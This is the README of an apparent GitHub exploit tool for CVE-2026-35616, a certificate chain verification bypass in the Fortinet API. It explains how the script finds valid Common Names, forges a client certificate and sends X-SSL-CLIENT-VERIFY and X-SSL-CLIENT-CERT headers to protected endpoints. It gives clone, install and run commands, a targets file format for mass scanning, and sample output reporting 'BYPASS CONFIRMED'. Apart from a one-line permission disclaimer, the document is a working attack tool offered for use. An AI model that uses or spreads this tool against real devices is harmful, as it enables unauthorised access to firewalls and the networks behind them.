wa6n3r/cve-2026-35616Exploit script for CVE-2026-35616 that bypasses certificate chain verification in Fortinet API by discovering valid CNs, generating a forged client certificate, and probing protected endpoints with custom headers.
Exploitation of the certificate chain verification bypass vulnerability in the Fortinet API.
The script automatically discovers valid Common Names (CN) from various sources,
generates a fake client certificate, and performs requests to protected endpoints
using the X-SSL-CLIENT-VERIFY and X-SSL-CLIENT-CERT headers.
!!!Important: Use only on systems for which you have explicit permission to test.
requestscryptographyurllib3openssl (for advanced CA discovery via TLS handshake)# Clone the project
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616
# Install dependencies
pip install -r requirements.txt
## Usage
# Basic run
python3 exploit.py
# With target and port specified
python3 exploit.py <TARGET_IP> [PORT]
# Examples:
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443
# Target file format (targets.txt)
For mass testing, create a targets.txt file with one target address per line:
192.168.1.100:443
10.0.0.50:8443
fortigate.internal
# Output files
On successful execution, the script creates:
results/bypass_results_<TARGET>_<PORT>_<TIMESTAMP>.json — a detailed report in JSON format with:
The CN used
Response statuses for each endpoint
Response prefixes for analysis
# Output structure
[ wa6n3r ] ◆ GH: github.com/wa6n3r ◆ WEB: wa6n3r.com
[*] CVE-2026-35616 Target: https://192.168.1.100:443
[*] Discovering CA CNs from multiple sources...
[•] TLS CA CN: 'fortinet-ca2'
[•] ZTNA CA CN: 'support'
[*] Found 2 candidate CN(s): fortinet-ca2, support
[*] Testing 2 candidate CN(s) for bypass...
[+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFIRMED
[*] Probing all cert_chain endpoints with CN='support'...
GET /api/v1/system/capabilities
HTTP 200: '{"result": {"retval": 1, ...}}'
[+] Results saved to: results/bypass_results_192.168.1.100_443_20260101_120000.json